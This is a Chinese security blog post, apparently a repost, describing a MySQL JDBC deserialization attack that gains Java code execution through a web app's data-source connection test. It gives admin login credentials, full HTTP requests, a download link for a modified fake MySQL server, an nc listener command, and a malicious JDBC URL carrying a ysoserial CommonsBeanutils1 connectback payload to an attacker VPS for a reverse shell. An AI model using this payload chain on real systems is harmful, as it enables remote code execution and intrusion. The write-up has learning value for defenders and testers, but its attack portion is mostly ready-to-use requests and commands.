记一次mysql jdbc反序列化-实现java代码执行

admin 2021年4月4日01:00:50评论199 views字数 2508阅读8分21秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


授权转载,文章来源:“P喵呜-PHPoop语雀


0x00 前言

过了几个月了,也修复了,应该可以放出来了。为了我的狗命,老样子,站点域名就改为http://test.phpoop.com保护我自己。之前遇到的时候感觉挺有意思的,所以放出来大家一起学习学习。


0x01 详情

登录地址如下,先登录管理员。
http://test.phpoop.com/login?redirect=%2Fworkbench%2Fhome
  • 账号:admin

  • 密码:Admin@2020!

记一次mysql jdbc反序列化-实现java代码执行
记一次mysql jdbc反序列化-实现java代码执行
记一次mysql jdbc反序列化-实现java代码执行
POST /data-server/rest/dataSourceService/testConnection HTTP/1.1Host: test.phpoop.comContent-Length: 143Accept: application/json, text/plain, */*Origin: http://test.phpoop.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36Content-Type: application/json;charset=UTF-8Referer: http://test.phpoop.com/sjck/sjck_sjy/dataSource?noModule=false&modelName=%E6%95%B0%E6%8D%AE%E6%BA%90Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: JSESSIONID=3dc22923-2f78-4171-afd3-526b2c4ccfb0Connection: close
{"dsType":1,"dsName":"test","remark":"测试一下看看","username":"root","passwd":"root","url":"jdbc:mysql://<host>:<port>/<database_name>"}
记一次mysql jdbc反序列化-实现java代码执行

看样子是可以访问我们服务器的,并且查看报错是java的,所以可以尝试jdbc反序列化拿shell,推荐直接下载我这里提供好的,因为这个里面改过了,所以才能命令执行。

https://www.yuque.com/attachments/yuque/0/2021/zip/297422/1617096871598-6f6c0957-9540-4af8-9a6b-17a4fd5c4d42.zip
cd /MySQL_Fake_Serverpython3 server.py
记一次mysql jdbc反序列化-实现java代码执行

注意:一般来说启动成功的端口是3306才对,但是我vps已经有3306端口了,所以我修改了MySQL_Fake_Server目录的server.py文件。

记一次mysql jdbc反序列化-实现java代码执行


接着vps启动nc监听8021端口

nc -lvvp 8021
记一次mysql jdbc反序列化-实现java代码执行

接着修改为下面这样的数据包:

POST /data-server/rest/dataSourceService/testConnection HTTP/1.1Host: test.phpoop.comUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Content-Length: 268Origin: http://test.phpoop.comConnection: closeReferer: http://test.phpoop.com/sjck/sjck_sjy/dataSource?noModule=false&modelName=%E6%95%B0%E6%8D%AE%E6%BA%90Cookie: JSESSIONID=3dc22923-2f78-4171-afd3-526b2c4ccfb0
{"dsName":"test","remark":"1","dsType":1,"url":"jdbc:mysql://123.207.14.227:3307/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","username":"yso_CommonsBeanutils1_connectback:123.207.14.227:8021","passwd":"123"}

注意:

123.207.14.227:3307 == vps-ip与MySQL_Fake_Server启动的3307端口
123.207.14.227:8021 == vps-ip与nc监听8021端口


然后发包即可
记一次mysql jdbc反序列化-实现java代码执行
记一次mysql jdbc反序列化-实现java代码执行
记一次mysql jdbc反序列化-实现java代码执行



只需关注公众号并回复“9527”即可获取一套HTB靶场学习文档和视频,1120”获取安全参考等安全杂志PDF电子版,1208”获取个人常用高效爆破字典0221”获取2020年酒仙桥文章打包还在等什么?赶紧关注学习吧!


推 荐 阅 读




记一次mysql jdbc反序列化-实现java代码执行
记一次mysql jdbc反序列化-实现java代码执行
记一次mysql jdbc反序列化-实现java代码执行

欢 迎 私 下 骚 扰



记一次mysql jdbc反序列化-实现java代码执行

本文始发于微信公众号(潇湘信安):记一次mysql jdbc反序列化-实现java代码执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月4日01:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次mysql jdbc反序列化-实现java代码执行http://cn-sec.com/archives/325994.html

发表评论

匿名网友 填写信息